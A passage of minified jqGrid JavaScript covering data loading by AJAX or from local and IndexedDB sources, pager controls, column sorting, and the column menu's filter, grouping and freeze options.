y,x,D,q=$e.jgrid.getMethod("groupingPrepare");if(K.p.footerrow&&K.p.userDataOnFooter){for(x in K.p.userData)K.p.userData.hasOwnProperty(x)&&(K.p.userData[x]=0);D=!0}for(y=0;y<b;y++){if(D)for(x in K.p.userData)K.p.userData.hasOwnProperty(x)&&(K.p.userData[x]+=parseFloat(v[y][x]||0));q.call($e(K),v[y],y,w)}}return e?v:(v=K.p.treeGrid&&K.p.search?$e(K).jqGrid("searchTree",v):v.slice((m-1)*w,m*w),c=f=null,_[K.p.localReader.total]=j,_[K.p.localReader.page]=m,_[K.p.localReader.records]=b,_[K.p.localReader.root]=v,_[K.p.localReader.userdata]=K.p.userData,v=null,_)}$e(K).jqGrid("SortTree",o,K.p.sortorder,c[o].stype||"text",c[o].srcfmt||"")}},E=function(){K.grid.hDiv.loading=!0,K.p.hiddengrid||$e(K).jqGrid("progressBar",{method:"show",loadtype:K.p.loadui,htmlcontent:$e.jgrid.getRegional(K,"defaults.loadtext",K.p.loadtext)})},j=function(){K.grid.hDiv.loading=!1,$e(K).jqGrid("progressBar",{method:"hide",loadtype:K.p.loadui})},W=function(e,t,i){var r=void 0===(r=$e(K).triggerHandler("jqGridBeforeProcessing",[e,t,i]))||"boolean"!=typeof r||r;return r=$e.jgrid.isFunction(K.p.beforeProcessing)&&!1===K.p.beforeProcessing.call(K,e,t,i)?!1:r},V=function(e,t){$e(K).triggerHandler("jqGridLoadComplete",[e]),t&&K.p.loadComplete.call(K,e),$e(K).triggerHandler("jqGridAfterLoadComplete",[e]),K.p.datatype="local",K.p.datastr=null,j()},_=function(r){if(!K.grid.hDiv.loading){var o,n=K.p.scroll&&!1===r,e={},t=K.p.prmNames,i=(Q=0,K.p.page<=0&&(K.p.page=Math.min(1,K.p.lastpage)),$e.jgrid.isNull(t.search,!0)||(e[t.search]=K.p.search),$e.jgrid.isNull(t.nd,!0)||(e[t.nd]=(new Date).getTime()),$e.jgrid.isNull(t.rows,!0)||(e[t.rows]=K.p.rowNum),$e.jgrid.isNull(t.page,!0)||(e[t.page]=K.p.page),$e.jgrid.isNull(t.sort,!0)||(e[t.sort]=K.p.sortname),$e.jgrid.isNull(t.order,!0)||(e[t.order]=K.p.sortorder),$e.jgrid.isNull(K.p.rowTotal,!0)||$e.jgrid.isNull(t.totalrows,!0)||(e[t.totalrows]=K.p.rowTotal),$e.jgrid.isFunction(K.p.loadComplete)),a=i?K.p.loadComplete:null,s=0;if(1<(r=r||1)?$e.jgrid.isNull(t.npage,!0)?a=function(e){K.p.page++,K.grid.hDiv.loading=!1,i&&K.p.loadComplete.call(K,e),_(r-1)}:(e[t.npage]=r,s=r-1,r=1):$e.jgrid.isNull(t.npage,!0)||delete K.p.postData[t.npage],K.p.grouping){$e(K).jqGrid("groupingSetup");for(var l=K.p.groupingView,d=[],c=0;c<l.groupField.length;c++){var p=l.groupField[c];$e.each(K.p.colModel,function(e,t){t.name===p&&t.index&&(p=t.index)}),d.push(p+" "+l.groupOrder[c])}g=d.join(),""!==$e.jgrid.trim(e[t.sort])?e[t.sort]=""!==g?g+" ,"+e[t.sort]:e[t.sort]:(e[t.sort]=g,e[t.order]=""),"local"!==K.p.datatype||l._locgr||(K.p.datatype="jsonstring",K.p.datastr=K.p.data)}$e.extend(K.p.postData,e);var u=K.p.scroll?K.rows.length-1:1;if($e.jgrid.isFunction(K.p.datatype))K.p.datatype.call(K,K.p.postData,"load_"+K.p.id,u,r,s);else{var g=$e(K).triggerHandler("jqGridBeforeRequest");if(!1!==g&&"stop"!==g&&(!$e.jgrid.isFunction(K.p.beforeRequest)||!1!==(g=K.p.beforeRequest.call(K))&&"stop"!==g)){switch($e.jgrid.isFunction(K.treeGrid_beforeRequest)&&K.treeGrid_beforeRequest.call(K),o=K.p.datatype.toLowerCase()){case"json":case"jsonp":case"xml":case"script":$e.ajax($e.extend({url:K.p.url,type:K.p.mtype,dataType:o,data:$e.jgrid.isFunction(K.p.serializeGridData)?K.p.serializeGridData.call(K,K.p.postData):K.p.postData,success:function(e,t,i){W(e,t,i)?(("xml"===o?T:H)(e,u,1<r,s),$e(K).triggerHandler("jqGridLoadComplete",[e]),a&&a.call(K,e),$e(K).triggerHandler("jqGridAfterLoadComplete",[e]),n&&K.grid.populateVisible(),K.p.treeGrid_bigData?K.p.loadonce&&(K.p.datatype="local"):(K.p.loadonce||K.p.treeGrid)&&(K.p.datatype="local"),e=null,1===r&&j(),$e.jgrid.isFunction(K.treeGrid_afterLoadComplete)&&K.treeGrid_afterLoadComplete.call(K)):j()},error:function(e,t,i){$e(K).triggerHandler("jqGridLoadError",[e,t,i]),$e.jgrid.isFunction(K.p.loadError)&&K.p.loadError.call(K,e,t,i),1===r&&j()},beforeSend:function(e,t){var i=!0,i=$e(K).triggerHandler("jqGridLoadBeforeSend",[e,t]);if(!1===(i=void 0===(i=$e.jgrid.isFunction(K.p.loadBeforeSend)?K.p.loadBeforeSend.call(K,e,t):i)?!0:i))return!1;E()}},$e.jgrid.ajaxOptions,K.p.ajaxGridOptions));break;case"xmlstring":if(E(),h="string"!=typeof K.p.datastr?K.p.datastr:$e.parseXML(K.p.datastr),!W(h,200,null))return void j();T(h),V(h,i);break;case"jsonstring":if(E(),h="string"==typeof K.p.datastr?$e.jgrid.parse(K.p.datastr):K.p.datastr,!W(h,200,null))return void j();H(h),K.p.grouping&&K.p.groupingView._locgr&&(K.p.data=h),V(h,i);break;case"local":case"clientside":E(),K.p.datatype="local",K.p._ald=!0;var h=L(!1);if(!W(h,200,null))return void j();H(h,u,1<r,s),$e(K).triggerHandler("jqGridLoadComplete",[h]),a&&a.call(K,h),$e(K).triggerHandler("jqGridAfterLoadComplete",[h]),n&&K.grid.populateVisible(),j(),K.p._ald=!1;break;case"indexeddb":if(!K.p.dbconfig.ready_req)return;E(),U(!1).then(function(e){W(e,200,null)?(H(e,u,1<r,s),$e(K).triggerHandler("jqGridLoadComplete",[e]),a&&a.call(K,e),$e(K).triggerHandler("jqGridAfterLoadComplete",[e]),n&&K.grid.populateVisible(),j(),K.p._ald=!1):j()})}K.p._sort=!1}}}},le=function(e){$e("#cb_"+$e.jgrid.jqID(K.p.id),K.grid.hDiv)[K.p.useProp?"prop":"attr"]("checked",e),(K.p.frozenColumns?K.p.id+"_frozen":"")&&$e("#cb_"+$e.jgrid.jqID(K.p.id),K.grid.fhDiv)[K.p.useProp?"prop":"attr"]("checked",e)},de=function(e,s){function l(e,t){var i=$e(K).triggerHandler("jqGridPaging",[e,t]);return"stop"!==i&&"stop"!==(i=$e.jgrid.isFunction(K.p.onPaging)?K.p.onPaging.call(K,e,t):i)&&(K.p.selrow=null,K.p.multiselect&&(K.p.preserveSelection||(K.p.selarrrow=[]),le(!1)),K.p.savedRow=[])}var t,i,r,o="<td class='ui-pg-button "+w+"'><span class='ui-separator'></span></td>",n="",a="<table class='ui-pg-table ui-common-table ui-paging-pager'><tbody><tr>",d="";if(s+="_"+e,t="pg_"+e,m=e+"_left",h=e+"_center",f=e+"_right",$e("#"+$e.jgrid.jqID(e)).append("<div id='"+t+"' class='ui-pager-control' role='group'><table "+X(Y,"pagerTable",!1,"ui-pg-table ui-common-table ui-pager-table")+"><tbody><tr><td id='"+m+"' align='left'></td><td id='"+h+"' align='center' style='white-space:pre;'></td><td id='"+f+"' align='right'></td></tr></tbody></table></div>").attr("dir",v),0<K.p.rowList.length){var c,d='<td dir="'+v+'">';for(d+="<select "+X(Y,"pgSelectBox",!1,"ui-pg-selbox")+' size="1" name="pg_sel_box" role="listbox" title="'+($e.jgrid.getRegional(K,"defaults.pgrecs",K.p.pgrecs)||"")+'">',i=0;i<K.p.rowList.length;i++)1===(c=K.p.rowList[i].toString().split(":")).length&&(c[1]=c[0]),0==c[1].length?d+='<option role="option" value="'+c[0]+'"'+(J(K.p.rowNum,0)===J(c[0],0)?' aria-label="'+c[1]+'" selected="selected"':"")+">"+c[1]+"</option>":d+='<option role="option" value="'+c[0]+'"'+(J(K.p.rowNum,0)===J(c[0],0)?' selected="selected"':"")+">"+c[1]+"</option>";d+="</select></td>"}"rtl"===v&&(a+=d,$e("#"+f).attr("align","left")),!0===K.p.pginput&&(n="<td id='input"+s+"' dir='"+v+"'>"+$e.jgrid.template($e.jgrid.getRegional(K,"defaults.pgtext",K.p.pgtext)||"","<input "+X(Y,"pgInput",!1,"ui-pg-input")+" type='text' size='2' maxlength='7' value='0' role='textbox' name='jqgpginput'/>","<span id='sp_1_"+$e.jgrid.jqID(e)+"'></span>")+"</td>");var p,u,g,h,f,m=["first"+s,"prev"+s,"next"+s,"last"+s];!0===K.p.pgbuttons?(h=X(Y,"pgButtonBox",!0,"ui-pg-button"),f=[$e.jgrid.getRegional(K,"defaults.pgfirst",K.p.pgfirst)||"",$e.jgrid.getRegional(K,"defaults.pgprev",K.p.pgprev)||"",$e.jgrid.getRegional(K,"defaults.pgnext",K.p.pgnext)||"",$e.jgrid.getRegional(K,"defaults.pglast",K.p.pglast)||""],"rtl"===v&&(m.reverse(),f.reverse()),p="<td id='"+m[0]+"' class='"+h+"' title='"+f[0]+"'><span "+X(Y,"icon_first",!1,C)+"></span></td>",u="<td id='"+m[1]+"' class='"+h+"' title='"+f[1]+"'><span "+X(Y,"icon_prev",!1,C)+"></span></td>",g="<td id='"+m[2]+"' class='"+h+"' title='"+f[2]+"'><span "+X(Y,"icon_next",!1,C)+"></span></td>",h="<td id='"+m[3]+"' class='"+h+"' title='"+f[3]+"'><span "+X(Y,"icon_end",!1,C)+"></span></td>",f=""!==n?o+n+o:"",a+="ltr"===v?p+u+f+g+h:h+g+f+u+p):""!==n&&(a+=n),"ltr"===v&&(a+=d),a+="</tr></tbody></table>",e=$e.jgrid.jqID(e),t=$e.jgrid.jqID(t),!0===K.p.viewrecords&&$e("td#"+e+"_"+K.p.recordpos,"#"+t).append("<div dir='"+v+"' class='ui-paging-info'></div>"),$e("td#"+e+"_"+K.p.pagerpos,"#"+t).append(a),o=$e("#gbox_"+$e.jgrid.jqID(K.p.id)).css("font-size")||"11px",$e("#gbox_"+$e.jgrid.jqID(K.p.id)).append("<div id='testpg' "+X(Y,"entrieBox",!1,"ui-jqgrid")+" style='font-size:"+o+";visibility:hidden;' ></div>"),h=$e(a).clone().appendTo("#testpg").width(),$e("#testpg").remove(),0<h&&(""!==n&&(h+=50),r=h>$e("td#"+e+"_"+K.p.pagerpos,"#"+t).innerWidth(),$e("td#"+e+"_"+K.p.pagerpos,"#"+t).width(h)),K.p._nvtd=[],K.p._nvtd[0]=h?Math.floor((K.p.width-h)/2):Math.floor(K.p.width/3),K.p._nvtd[1]=0,a=null,$e(".ui-pg-selbox","#"+t).on("change",function(){return l("records",this)&&(K.p.page=Math.round(K.p.rowNum*(K.p.page-1)/this.value-.5)+1,K.p.rowNum=this.value,K.p.pager&&$e(".ui-pg-selbox",K.p.pager).val(this.value),K.p.toppager&&$e(".ui-pg-selbox",K.p.toppager).val(this.value),_()),!1}),!0===K.p.pgbuttons&&($e(".ui-pg-button","#"+t).hover(function(){$e(this).hasClass(w)?this.style.cursor="default":($e(this).addClass(q),this.style.cursor="pointer")},function(){$e(this).hasClass(w)||($e(this).removeClass(q),this.style.cursor="default")}),$e("#first"+$e.jgrid.jqID(s)+", #prev"+$e.jgrid.jqID(s)+", #next"+$e.jgrid.jqID(s)+", #last"+$e.jgrid.jqID(s)).click(function(){var e,t,i,r,o,n,a;return $e(this).hasClass(w)||(e=J(K.p.page,1),a=n=o=r=!(i=!1),0===(t=J(K.p.lastpage,1))||1===t?a=n=o=r=!1:1<t&&1<=e?1===e?o=r=!1:e===t&&(a=n=!1):1<t&&0===e&&(a=n=!1,e=t-1),l(this.id.split("_")[0],this)&&(this.id==="first"+s&&r&&(K.p.page=1,i=!0),this.id==="prev"+s&&o&&(K.p.page=e-1,i=!0),this.id==="next"+s&&n&&(K.p.page=e+1,i=!0),this.id==="last"+s&&a&&(K.p.page=t,i=!0),i&&_(),$e.jgrid.setSelNavIndex(K,this))),!1})),!0===K.p.pginput&&$e("#"+t).on("keypress","input.ui-pg-input",function(e){return 13===(e.charCode||e.keyCode||0)?(e.preventDefault(),l("user",this)&&($e(this).val(J($e(this).val(),1)),K.p.page=0<$e(this).val()?$e(this).val():K.p.page,_()),!1):this}),r&&K.p.responsive&&!K.p.forcePgButtons&&($e("#"+m[0]+",#"+m[3]+",#input"+$e.jgrid.jqID(s)).hide(),$e(".ui-paging-info","td#"+e+"_"+K.p.recordpos).hide(),$e(".ui-pg-selbox","td#"+e+"_"+K.p.pagerpos).hide())},ce=function(e,t,i){var r=K.p.colModel,o=[],n="",r=(o.push(K.grid.headers[e].el),K.p.frozenColumns&&o.push(t),$e("span.ui-grid-ico-sort",o).addClass(w),$e(o).attr({"aria-selected":"false","aria-sort":"none"}),t=r[e].index||r[e].name,void 0===i?r[e].lso?"asc"===r[e].lso?(r[e].lso+="-desc",n="desc"):"desc"===r[e].lso?(r[e].lso+="-asc",n="asc"):"asc-desc"!==r[e].lso&&"desc-asc"!==r[e].lso||(r[e].lso=""):r[e].lso=n=r[e].firstsortorder||"asc":r[e].lso=n=i,n?($e("span.s-ico",o).show(),$e("span.ui-icon-"+n,o).removeClass(w),$e(o).attr({"aria-selected":"true","aria-sort":n+"ending"})):K.p.viewsortcols[0]||$e("span.s-ico",o).hide(),G.indexOf(t));-1===r?(G.push(t),S.push(n)):n?S[r]=n:(S.splice(r,1),G.splice(r,1)),K.p.sortorder="",K.p.sortname="";for(var a=0,s=G.length;a<s;a++)0<a&&(K.p.sortname+=", "),K.p.sortname+=G[a],a!==s-1&&(K.p.sortname+=" "+S[a]);K.p.sortorder=S[s-1]},pe=function(e,t,i,r,o){if(K.p.colModel[t].sortable&&!(0<K.p.savedRow.length)){if(i||(K.p.lastsort===t&&""!==K.p.sortname?"asc"===K.p.sortorder?K.p.sortorder="desc":"desc"===K.p.sortorder&&(K.p.sortorder="asc"):K.p.sortorder=K.p.colModel[t].firstsortorder||"asc",K.p.page=1),K.p.multiSort)ce(t,o,r);else{if(r){if(K.p.lastsort===t&&K.p.sortorder===r&&!i)return;K.p.sortorder=r}var i=K.grid.headers[K.p.lastsort]?K.grid.headers[K.p.lastsort].el:null,r=K.grid.headers[t].el,o=K.p.frozenColumns?o:null,n="single"===K.p.viewsortcols[1],a=$e(i).find("span.ui-grid-ico-sort");a.addClass(w),n&&$e(a).css("display","none"),$e(i).attr({"aria-selected":"false","aria-sort":"none"}),K.p.frozenColumns&&((a=K.grid.fhDiv.find("span.ui-grid-ico-sort")).addClass(w),n&&a.css("display","none"),K.grid.fhDiv.find("th").attr({"aria-selected":"false","aria-sort":"none"})),(a=$e(r).find("span.ui-icon-"+K.p.sortorder)).removeClass(w),n&&a.css("display",""),$e(r).attr({"aria-selected":"true","aria-sort":K.p.sortorder+"ending"}),K.p.frozenColumns&&((a=$e(o).find("span.ui-icon-"+K.p.sortorder)).removeClass(w),n&&a.css("display",""),$e(o).attr({"aria-selected":"true","aria-sort":K.p.sortorder+"ending"})),K.p.viewsortcols[0]||(K.p.lastsort!==t?(K.p.frozenColumns&&K.grid.fhDiv.find("span.s-ico").hide(),$e("span.s-ico",i).hide(),$e("span.s-ico",r).show(),o&&$e("span.s-ico",o).show()):""===K.p.sortname&&$e("span.s-ico",r).show()),e=e.substring(5+K.p.id.length+1),K.p.sortname=K.p.colModel[t].index||e}("stop"===$e(K).triggerHandler("jqGridSortCol",[K.p.sortname,t,K.p.sortorder])||$e.jgrid.isFunction(K.p.onSortCol)&&"stop"===K.p.onSortCol.call(K,K.p.sortname,t,K.p.sortorder)||(le(!1),"local"===K.p.datatype?K.p.deselectAfterSort&&!K.p.preserveSelection&&$e(K).jqGrid("resetSelection"):(K.p.selrow=null,K.p.multiselect&&!K.p.preserveSelection&&(K.p.selarrrow=[]),K.p.savedRow=[]),K.p.scroll&&(n=K.grid.bDiv.scrollLeft,ne.call(K,!0,!1),K.grid.hDiv.scrollLeft=n),K.p.subGrid&&"local"===K.p.datatype&&$e("td.sgexpanded","#"+$e.jgrid.jqID(K.p.id)).each(function(){$e(this).trigger("click")}),K.p._sort=!0,_(),K.p.lastsort=t,K.p.sortname!==e&&t))&&(K.p.lastsort=t)}},ue=function(e){for(var t=K.grid.headers,i=$e.jgrid.getCellIndex(e),r=0;r<t.length;r++)if(e===t[r].el){i=r;break}return i},ge=function(e,t,i,r){var o,n=K.p.colModel,a=n.length,s=[],l=!0,d=[],c=$e.extend([],K.p.colNames),p=$e.jgrid.styleUI[K.p.styleUI||"jQueryUI"].common,u=$e.jgrid.getRegional(K,"colmenu"),g=[],h='<ul id="col_menu" class="ui-search-menu ui-col-menu modal-content '+p.shadow+'" role="menu" tabindex="0" style="left:'+t+'px;">';if(r.columns_selectAll&&(h+='<li class="ui-menu-item disabled" role="presentation" draggable="false"><a class="g-menu-item" tabindex="0" role="menuitem" ><table class="ui-common-table" ><tr><td class="menu_icon" title="'+u.reorder+'"><span class="'+C+" "+I.icon_move+' notclick" style="visibility:hidden"></span></td><td class="menu_icon"><input id="chk_all" class="'+I.input_checkbox+'" type="checkbox" name="check_all"></td><td class="menu_text">Check/Uncheck</td></tr></table></a></li>'),K.p.colSpanHeader.length)for(var f=0;f<K.p.colSpanHeader.length;f++){var m,v=K.p.colSpanHeader[f];0<=(m=$e.jgrid.getElemByAttrVal(n,"name",v.startColumnName,!0))&&(g.push(m),c[m]=v.titleText)}if($e(K).jqGrid("isGroupHeaderOn"))for(var p=K.p.groupHeader.length,w=K.p.groupHeader[p-1],b=0;b<c.length;b++)if(0<=(m=$e.jgrid.inColumnHeader(n[b].name,w.groupHeaders))){c[b]=w.groupHeaders[m].titleText+"::"+c[b];for(var j=1;j<=w.groupHeaders[m].numberOfColumns-1;j++)c[b+j]=w.groupHeaders[m].titleText+"::"+c[b+j];b=b+w.groupHeaders[m].numberOfColumns-1}for(o=0;o<a;o++){var _,y=n[o].hidden?"":"checked",x=n[o].name,D=c[o];h+="<li "+(_="cb"===x||"subgrid"===x||"rn"===x||"sc"===x||n[o].hidedlg?"style='display:none'":"")+' class="ui-menu-item" role="presentation" draggable="true"><a class="g-menu-item" tabindex="0" role="menuitem" ><table class="ui-common-table" ><tr><td class="menu_icon" title="'+u.reorder+'"><span class="'+C+" "+I.icon_move+' notclick"></span></td><td class="menu_icon"><input class="'+I.input_checkbox+' chk_selected" type="checkbox" name="'+x+'" '+y+'></td><td class="menu_text">'+D+"</td></tr></table></a></li>",s.push(o),_||d.push(x),l&&!y&&(l=!1)}h+="</ul>",$e(i).append(h),$e("#col_menu").addClass("ui-menu "+I.menu_widget),$e("#chk_all","#col_menu").prop("checked",l),$e.jgrid.isElementInViewport($e("#col_menu")[0])||$e("#col_menu").css("left",-parseInt($e("#column_menu").innerWidth(),10)+"px"),$e.fn.html5sortable()&&$e("#col_menu").html5sortable({handle:"span",items:":not(.disabled)",forcePlaceholderSize:!0}).on("sortupdate",function(e,t){for(s.splice(t.startindex,1),s.splice(t.endindex,0,t.startindex),$e(K).jqGrid("destroyFrozenColumns"),$e(K).jqGrid("remapColumns",s,!0),$e(K).triggerHandler("jqGridColMenuColumnDone",[s,null,null]),$e.jgrid.isFunction(K.p.colMenuColumnDone)&&K.p.colMenuColumnDone.call(K,s,null,null),$e(K).jqGrid("setFrozenColumns"),o=0;o<a;o++)s[o]=o}),$e("#col_menu > li > a").on("click",function(e){var t;$e(e.target).hasClass("notclick")||($e(e.target).is(":input")?t=$e(e.target).is(":checked"):(t=!$e("input",this).is(":checked"),$e("input",this).prop("checked",t)),"check_all"===(e=$e("input",this).attr("name"))?t?($e("input","#col_menu").prop("checked",!0),$e(K).jqGrid("showCol",d)):($e("input","#col_menu").prop("checked",!1),$e(K).jqGrid("hideCol",d)):($e(K).triggerHandler("jqGridColMenuColumnDone",[s,e,t]),$e.jgrid.isFunction(K.p.colMenuColumnDone)&&K.p.colMenuColumnDone.call(K,s,e,t),t?($e(K).jqGrid("showCol",e),$e(this).parent().attr("draggable","true")):($e(K).jqGrid("hideCol",e),$e(this).parent().attr("draggable","false")),r.columns_selectAll&&$e("#chk_all","#col_menu").prop("checked",$e(".chk_selected:checked","#col_menu").length===$e(".chk_selected","#col_menu").length),$e("#column_menu").remove()))}).hover(function(){$e(this).addClass(q)},function(){$e(this).removeClass(q)})},he=function(e,t,i,r){var o,n,a,s,l,d,c=K.p.colModel[e],p="",e="",u="",g="",h="",f="",m=$e.jgrid.getRegional(K,"search"),v=$e.jgrid.styleUI[K.p.styleUI||"jQueryUI"].common,w=$e.jgrid.styleUI[b.styleUI||"jQueryUI"].modal;c&&((a=!(!K.p.colFilters||!K.p.colFilters[c.name])&&K.p.colFilters[c.name])&&!$e.isEmptyObject(a)&&(p=a.oper1,e=a.value1,u=a.rule,g=a.oper2,h=a.value2),c.searchoptions||(c.searchoptions={}),n=c.searchoptions.sopt||(-1!==$e.inArray(c.sorttype,["text","string","blob"])?["eq","ne","bw","bn","ew","en","cn","nc","nu","nn","in","ni"]:["eq","ne","lt","le","gt","ge","nu","nn","in","ni"]),a=c.searchoptions.groupOps||m.groupOps,s=$e("<form></form>"),l="<a id='bs_close' aria-label='Close'><span class='"+C+" "+w.icon_close+"'></span></a>",l=(l+="<div>"+$e.jgrid.getRegional(K,"colmenu.searchTitle")+"</div>")+'<div><select size="1" id="oper1" class="'+I.filter_select+'">',$e.each(m.odata,function(e,t){o=t.oper===p?'selected="selected"':"",-1!==$e.inArray(t.oper,n)&&(f+='<option value="'+t.oper+'" aria-label="'+t.text+'" '+o+">"+t.text+"</option>")}),l=l+f+"</select></div>",s.append(l),d="",c.searchoptions.defaultValue&&(d=$e.jgrid.isFunction(c.searchoptions.defaultValue)?c.searchoptions.defaultValue.call(K):c.searchoptions.defaultValue),e&&(d=e),w=$e.extend(c.searchoptions,{name:c.index||c.name,id:"sval1_"+K.p.idPrefix+c.name,oper:"search"}),e=$e.jgrid.createEl.call(K,c.stype,w,d,!1,$e.extend({},$e.jgrid.ajaxOptions,K.p.ajaxSelectOptions||{})),$e(e).addClass(I.filter_input),l=$e("<div></div>").append(e),s.append(l),l='<div><select size="1" id="operand" class="'+I.filter_select+'">',$e.each(a,function(e,t){o=t.op===u?'selected="selected"':"",l+="<option value='"+t.op+"' "+o+">"+t.text+"</option>"}),l+="</select></div>",s.append(l),f="",$e.each(m.odata,function(e,t){o=t.oper===g?'selected="selected"':"",-1!==$e.inArray(t.oper,n)&&(f+='<option value="'+t.oper+'" '+o+">"+t.text+"</option>")}),l='<div><select size="1" id="oper2" class="'+I.filter_select+'">'+f+"</select></div>",s.append(l),d=h||"",w=$e.extend(c.searchoptions,{name:c.index||c.name,id:"sval2_"+K.p.idPrefix+c.name,oper:"search"}),e=$e.jgrid.createEl.call(K,c.stype,w,d,!1,$e.extend({},$e.jgrid.ajaxOptions,K.p.ajaxSelectOptions||{})),$e(e).addClass(I.filter_input),l=$e("<div></div>").append(e),s.append(l),l="<div>",l=(l+="<div class='search_buttons'><a tabindex='0' id='bs_reset' class='fm-button "+v.button+" ui-reset'>"+m.Reset+"</a></div>")+"<div class='search_buttons'><a tabindex='0' id='bs_search' class='fm-button "+v.button+" ui-search'>"+m.Find+"</a></div></div>",s.append(l),s=$e('<li class="ui-menu-item" role="presentation"></li>').append(s),s=$e('<ul id="search_menu" class="ui-search-menu modal-content '+v.shadow+'" role="menu" tabindex="0" style="left:'+i+'px;"></ul>').append(s),$e(r).append(s),$e("#search_menu").addClass("ui-menu "+I.menu_widget),$e.jgrid.isElementInViewport($e("#search_menu")[0])||$e("#search_menu").css("left",-parseInt($e("#column_menu").innerWidth(),10)+"px"),$e("#bs_reset, #bs_search","#search_menu","#bs_close").hover(function(){$e(this).addClass(q)},function(){$e(this).removeClass(q)}),$e("#bs_reset",s).on("click",function(e){K.p.colFilters[c.name]={},!0===K.p.mergeSearch&&K.p.searchModules.hasOwnProperty("colMenuSearch")&&!1!==K.p.searchModules.colMenuSearch?(K.p.searchModules.colMenuSearch=fe(),$e.extend(K.p.postData,{filters:$e.jgrid.splitSearch(K.p.searchModules)}),K.p.search=!0):(K.p.postData.filters=fe(),K.p.search=!1,K.p.resetsearch=!0),d="",c.searchoptions.defaultValue&&(d=$e.jgrid.isFunction(c.searchoptions.defaultValue)?c.searchoptions.defaultValue.call(K):c.searchoptions.defaultValue),$e("#sval1_"+K.p.idPrefix+c.name,"#search_menu").val(d),$e("#sval2_"+K.p.idPrefix+c.name,"#search_menu").val(""),$e.jgrid.isFunction(K.p.colMenuBeforeProcess)&&K.p.colMenuBeforeProcess.call(K,{module:"filtering",action:"reset",column:c.name}),$e(K).trigger("reloadGrid")}),$e("#bs_search",s).on("click",function(e){K.p.colFilters[c.name]={oper1:$e("#oper1","#search_menu").val(),value1:$e("#sval1_"+K.p.idPrefix+c.name,"#search_menu").val(),rule:$e("#operand","#search_menu").val(),oper2:$e("#oper2","#search_menu").val(),value2:$e("#sval2_"+K.p.idPrefix+c.name,"#search_menu").val()},!0===K.p.mergeSearch&&K.p.searchModules.hasOwnProperty("colMenuSearch")&&!1!==K.p.searchModules.colMenuSearch?(K.p.searchModules.colMenuSearch=fe(),$e.extend(K.p.postData,{filters:$e.jgrid.splitSearch(K.p.searchModules)})):K.p.postData.filters=fe(),K.p.search=!0,$e.jgrid.isFunction(K.p.colMenuBeforeProcess)&&K.p.colMenuBeforeProcess.call(K,{module:"filtering",action:"search",column:c.name}),$e(K).trigger("reloadGrid"),$e("#column_menu").remove()}),$e("#bs_close",s).on("click",function(){$e("#column_menu").remove()}))},fe=function(){var e,t="",i=0;for(e in K.p.colFilters)if(K.p.colFilters.hasOwnProperty(e)){var r=K.p.colFilters[e];if(!$e.isEmptyObject(r)){if(""===r.value1&&""===r.value2)break;0<i&&(t+=","),t=(t=t+('{"groupOp":"'+r.rule+'","rules":[')+('{"field":"'+e+'",'))+('"op":"'+r.oper1+'",'),r.value1+="",t+='"data":"'+r.value1.replace(/\\/g,"\\\\").replace(/\"/g,'\\"')+'"}',r.value2&&(t=(t+=',{"field":"'+e+'",')+'"op":"'+r.oper2+'",',r.value2+="",t+='"data":"'+r.value2.replace(/\\/g,"\\\\").replace(/\"/g,'\\"')+'"}'),t+="]",i++}}return t+="}",t=0===i?"":t},me=function(e,t){var e=K.p.colModel[e],i=K.p.groupingView;-1!==t?i.groupField.splice(t,1):i.groupField.push(e.name),$e.jgrid.isFunction(K.p.colMenuBeforeProcess)&&K.p.colMenuBeforeProcess.call(K,{module:"grouping",action:-1!==t?"ungroup":"group",column:e.name}),$e(K).jqGrid("groupingGroupBy",i.groupField),K.p.frozenColumns&&($e(K).jqGrid("destroyFrozenColumns"),$e(K).jqGrid("setFrozenColumns"))},ve=function(e,t){for(var i=[],r=K.p.colModel.length,o=-1,n=K.p.colModel,a=0;a<r;a++)n[a].frozen&&(o=a),i.push(a);i.splice(e,1),i.splice(o+(t?1:0),0,e),n[e].frozen=t,$e.jgrid.isFunction(K.p.colMenuBeforeProcess)&&K.p.colMenuBeforeProcess.call(K,{module:"freeze",action:t?"freeze":"unfreeze",column:n[e].name}),$e(K).jqGrid("destroyFrozenColumns"),$e(K).jqGrid("remapColumns",i,!0),$e(K).jqGrid("setFrozenColumns")},we=function(e,t,i,r,o){K.p.colModel;var n=$e.jgrid.styleUI[K.p.styleUI||"jQueryUI"].common,a=$e.jgrid.styleUI[K.p.styleUI||"jQueryUI"].colmenu,s=K.p.colMenuCustom[r].items,l='<ul id="col_menu" class="ui-search-menu ui-col-menu modal-content '+n.shadow+'" role="menu" tabindex="0" style="left:'+t+'px;">';s.forEach(e=>{e.icon||(e.icon=a.icon_new_item),"separator"==e.id?l+='<li class="ui-menu-item divider" role="separator"></li>':l+='<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="'+e.id+'"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+C+" "+e.icon+'"></span></td><td class="menu_text">'+e.title+"</td></tr></table></a></li>"}),l+="</ul>",$e(i).append(l),$e("#col_menu").addClass("ui-menu "+I.menu_widget),$e.jgrid.isElementInViewport($e("#col_menu")[0])||$e("#col_menu").css("left",-parseInt($e("#column_menu").innerWidth(),10)+"px"),$e("#col_menu > li > a").on("click",function(e){var t=$e(this).attr("data-value"),i=s.find(e=>e.id===t);i&&$e.jgrid.isFunction(i.funcname)&&(i.funcname.call(K,o),i.closeOnRun)&&$e(this).remove()}).hover(function(){$e(this).addClass(q)},function(){$e(this).removeClass(q)})};for((K.p.colMenu||K.p.menubar)&&$e("body").on("click",function(e){if(!$e(e.target).closest("#column_menu").length)try{$e("#column_menu").remove()}catch(e){}if(!$e(e.target).closest(".ui-jqgrid-menubar").length)try{$e("#"+K.p.id+"_menubar").hide()}catch(e){}}),this.p.id=this.id,!0===K.p.autowidth&&(n=$e(i).parent().width(),r=$e(window).width(),K.p.width=3<r-n?n:r-1),-1===$e.inArray(K.p.multikey,["shiftKey","altKey","ctrlKey"])&&(K.p.multikey=!1),K.p.keyName=!1,e=0;e<K.p.colModel.length;e++)k="string"==typeof K.p.colModel[e].template?$e.jgrid.isNull($e.jgrid.cmTemplate)||"object"!=typeof $e.jgrid.cmTemplate[K.p.colModel[e].template]?{}:$e.jgrid.cmTemplate[K.p.colModel[e].template]:K.p.colModel[e].template,K.p.colModel[e]=$e.extend(!0,{},K.p.cmTemplate,k||{},K.p.colModel[e]),!1===K.p.keyName&&!0===K.p.colModel[e].key&&(K.p.keyName=K.p.colModel[e].name,K.p.keyIndex=e);K.p.sortorder=K.p.sortorder.toLowerCase(),$e.jgrid.cell_width=$e.jgrid.cellWidth();var be=$e("<table style='visibility:hidden'><tr 